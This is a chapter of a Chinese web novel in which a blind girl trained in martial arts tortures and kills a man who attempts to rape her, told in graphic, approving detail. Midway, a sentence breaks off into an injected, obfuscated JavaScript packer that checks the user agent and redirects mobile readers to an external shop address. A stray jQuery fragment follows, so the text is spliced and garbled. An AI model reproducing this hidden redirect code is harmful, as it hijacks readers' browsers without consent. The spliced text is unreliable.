“我本名并不叫李铁柱......”
“五年前,我考中官职,可那考官硬说我舞弊,
我竭力证明自己的清白,可他们根本不相信,
撤去了榜单,重新评选了新人,还下了禁令,让我此生不得入官场。”
“我在那里待不下去,便逃来了这里,改名李铁柱。”
乐无忧一语道破:“你这是被人顶替了。”
李铁柱微愣,神色变得复杂。
他从来不曾想过这种可能性,他一直以为,是考官误会他了,是一场乌龙误会。
可如今被人轻轻松松说出另一种可能,他竟然觉得这才是真的。
细细想来,那新人确实是城主的亲戚。
他眼神凄切,低低笑了一声。
或许他早都知道,只是不愿意面对真相。
闲谈结束,
乐无忧额头布满细汗,“是不是到时间了。”
李铁柱被她的话唤回思绪,
“啊,到了。”
乐无忧此时已经双腿打颤,这比她跑十公里还累。
两人练完第二章,已经是晚饭时间,便匆匆告别,各自回家。
李娘将手在围裙上擦净,摆好筷子,招呼两人吃饭,
“快来吃饭!”
三人伴着夕阳嘻嘻笑笑......
之后的两个月,乐无忧除了每天坚持基础锻炼外,还将武功秘籍练到了第六章。
她现在不只是速度得到了极大的提升,就连出拳出腿的力道都比普通人大了几分。
李叔劈不动的柴她轻轻松松就能破开。
李娘搬不动的东西,她也不费吹灰之力。
两人都觉得神奇,这丫头的力气速度根本不像普通人。
李叔将她偷偷拉到李娘看不见的地方,低声询问:“那秘籍真有用?”
乐无忧重重点头,“叔啊,你真是买到好东西了,才练了两个月,我都觉得我现在一个能打十个。”
说着乐无忧还做了个展示肌肉的动作。
李叔眼神冒出精光:“最近山匪闹得厉害,你给叔也练练!这样还能保护你们俩。”
乐无忧边说边从怀中掏出秘籍,“叔你不认字咋练。”
李叔跃跃欲试,“叔也去找李铁柱。”
乐无忧嘴角抽了抽,李铁柱从最开始的兴奋到后来的看见她就躲。
无奈,乐无忧不懂的太多了,每次都要抓着李铁柱问个明白,
久而久之李铁柱招架不住,见了她便躲。
乐无忧比了个打气的动作:“祝你好运。”
李叔两人早都习惯了她奇奇怪怪,她总是说些做些他们不懂的事,
只当是孩子还小比较活泼。
李叔揣着秘籍兴冲冲跑去找李铁柱了,而今天她打算进城去找百苏玩。
便和李娘告别,独自拿着盲杖上路了。
只是距离她不远处,有一道身影鬼鬼祟祟跟着。
李金宝眼中满是贪婪,他在家修养了这么久了,总算逮到机会了。
乐无忧嘴角勾起,她现在四感都极其敏锐,早就感受到了那股叫人不适的视线。
既然送上门来了,那就不能怪她了。
乐无忧路过村中其余人家时,只要院中有人她便一一打招呼。
“李牛,早啊!”
“早。”
“小花,等我回来给你带好玩的!”
“好~”
“狗蛋,拜拜~”
“拜拜。”
“丫头,回来记得把鸡蛋拿走。”
“好嘞!”
只要大家手头不忙,都会和她打招呼。
她虽然看不见,可半年的时间早都记住了每家的位置。
每次都能准确打上招呼。
大家也乐意和她聊天说话,乐无忧总是帮她们做一些事,
帮忙挑粪,搬重物,修东西等等。
起初,她们觉得一个瞎子怎么可能做到这些。
可渐渐她们发现,乐无忧比她们中不少人都要灵活,力气也大,身体也好。
便都忘了她是个瞎子。
毕竟,哪有瞎子这么活泼有劲。
乐无忧蹦蹦跳跳出了村子,身后那道身影跟得更近了,她故意放慢脚步,等待后面的人追上来。
果然,李金宝早就按捺不住了,见乐无忧离开李家村地界,迫不及待地就想动手。
脚步飞快,肥肉横飞,眼中满是色气,吸溜着哈喇子。
“我来了。”说着就扑向乐无忧。
乐无忧早就注意到了他的动作,此刻装作受惊的样子,堪堪躲过他的扑抓。
害怕道:“你要干嘛!”
李金宝上下扫视她,眼神猥琐:“乖乖听话,我就让你舒服些。”
乐无忧心中犯恶心,想到那日的遭遇,手不自觉攥紧。
可面上却是装作恐惧:“求求你!放过我吧!”
“放过你?可以,伺候舒服了我就放过你。”李金宝搓着手缓缓靠近,还不到距离就想伸手摸乐无忧。
乐无忧感受到那只手离她越来越近,吼道:“滚开!”
可手却以极快的速度抓住了李金宝的手腕,李金宝本来还在乐呵,可感受到手腕上强劲的力道,心中有些不安。
可乐无忧的美色让他忽略了这一丝不对,继续道:“迫不及待了?这就满足你,处子都是这样的,别害怕。”
乐无忧声音发颤:“不要,放过我吧。”说着加大手上的力道,接着一扭。
“啊!”李金宝终于发现了不对劲,他......他的手!断了!
此刻,那只手晃晃悠悠的挂在手腕上。
乐无忧眼中含泪:“求求你……”她表情害怕,可说到后半句“放过我”时,竟笑了起来。
李金宝看着这个笑容,打了个哆嗦,可愤怒和贪婪冲昏了他的头。
他想得到乐无忧已经想了几个月了!怎么可能就这么放弃!刚刚他的手一定是巧合。
想到这他不由得自信了几分,忍着手腕的疼痛,说道:“听话,我等一会就让你舒服,不会亏待你的。”
乐无忧笑容消失,为什么呢?为什么还是不悔改?
“死了也没关系吧。”
李金宝:“什……什么?”
李金宝有些慌了,明明对方的眼睛被蒙住了,他怎么就觉得她的视线很冰冷。
乐无忧:“我说,你死了也没关系吧。”
说完还不等李金宝思考这句话到底是什么意思,乐无忧就已经抓住了他的另一只手腕。
“咔嚓!”声音清脆悦耳。
“啊!”惨叫激起树林中的飞鸟。
李金宝终于反应过来,乐无忧和之前不一样了,他现在根本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966401|214532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
打不过。
他脑中似是终于清醒了。
直接跪了下来,对着乐无忧磕头,一个劲说:“对不起!对不起,我就是昏了头,求求你,求求你放过我吧。”
乐无忧:“昏了头?你说你昏了头?李家村里十二人被你凌辱,五人因此丧命!你说你昏了头?”
李金宝:“不是我,我没杀她们!她们自己死的!”
乐无忧低笑一声。
李金宝听到这笑声,心里发毛。
接着,乐无忧抽出盲杖,一棍再打在他的腰腹,将他击倒。
李金宝脸色惨白,蜷缩在地,疼得说不出一句话。
乐无忧:“疼吗?疼就对了。”
说着,手上再次发力,直捣黄龙。
“啊!”命根子碎裂,撕心裂肺的喊叫传遍了树林。
乐无忧笑道:“没事,以后都不会疼了。”
李金宝手腕断了,命根子没了,整个人瘫软在地。
乐无忧不打算这么轻松的放过他,盘腿在他对面坐下。
撑着头欣赏自己的杰作,就这么死了太便宜了,让他感受一下什么叫生不如死。
“有人告诉我,像你这种人,死了会下油锅地狱,你知道吗?滋啦啦的热油,把你丢进去,一点点炸熟。”
李金宝脸色更白,不知道是疼的还是吓得。
“然后被石墨碾成肉泥,循环往复。”
李金宝裆下映出一抹艳红,这是吓尿了。
乐无忧闻见一股血腥气混着尿骚味,笑了:“是不是,落红了?恭喜。”
李金宝一直在哀嚎,根本不会好好听她说话。
乐无忧似是觉得没什么意思,直接抡起盲杖,盲杖在李金宝眼中无限放大。
一棍,两棍,三棍!……整整十三棍。
李金宝咽了气。
乐无忧丢了那根染血的盲棍,一脚将李金宝的尸体踹进了山沟,拍了拍衣摆上的土。
仿佛什么都没发生过,晃晃悠悠朝城里去了。
……
百苏站在云香楼前,看见一个瞎子少女直直朝这边走来。
眼神瞬间亮起。
三个月了,整整三个月。
自从那天分开,她每天都来这等,已经等了三个月。
天知道她等的多辛苦。
还不等乐无忧靠近,她便拽起裙摆,小跑着冲向乐无忧。
乐无忧闻到淡淡的栀子香,便知道来人是百苏。
百苏一把抱住乐无忧,声音微微哽咽,“我还以为你不会来了。”
浓烈的栀子花香冲进她鼻腔,是好闻的。
可少女的动作显然让她有些许不适应。
便伸出手轻轻推了推,没推开。
百苏还在喋喋不休,“你为什么这么久才来。”
乐无忧手绕到百苏后脖颈,揪着她的衣领将人从她怀中拉出。
扯出一抹尬笑:“我说我最近在练武,你相信吗?”
听到这话,百苏上下扫视面前的人。
好像,距离上次见面她确实结实了不少?
上一次抱的时候,她整个人软绵绵。
百苏围着她转了一圈,啧啧称奇:“确实更结实了。”
听到被人肯定,乐无忧得意一笑。
语气骄傲:“厉害吧。”
百苏也毫不犹豫地夸赞,“厉害!”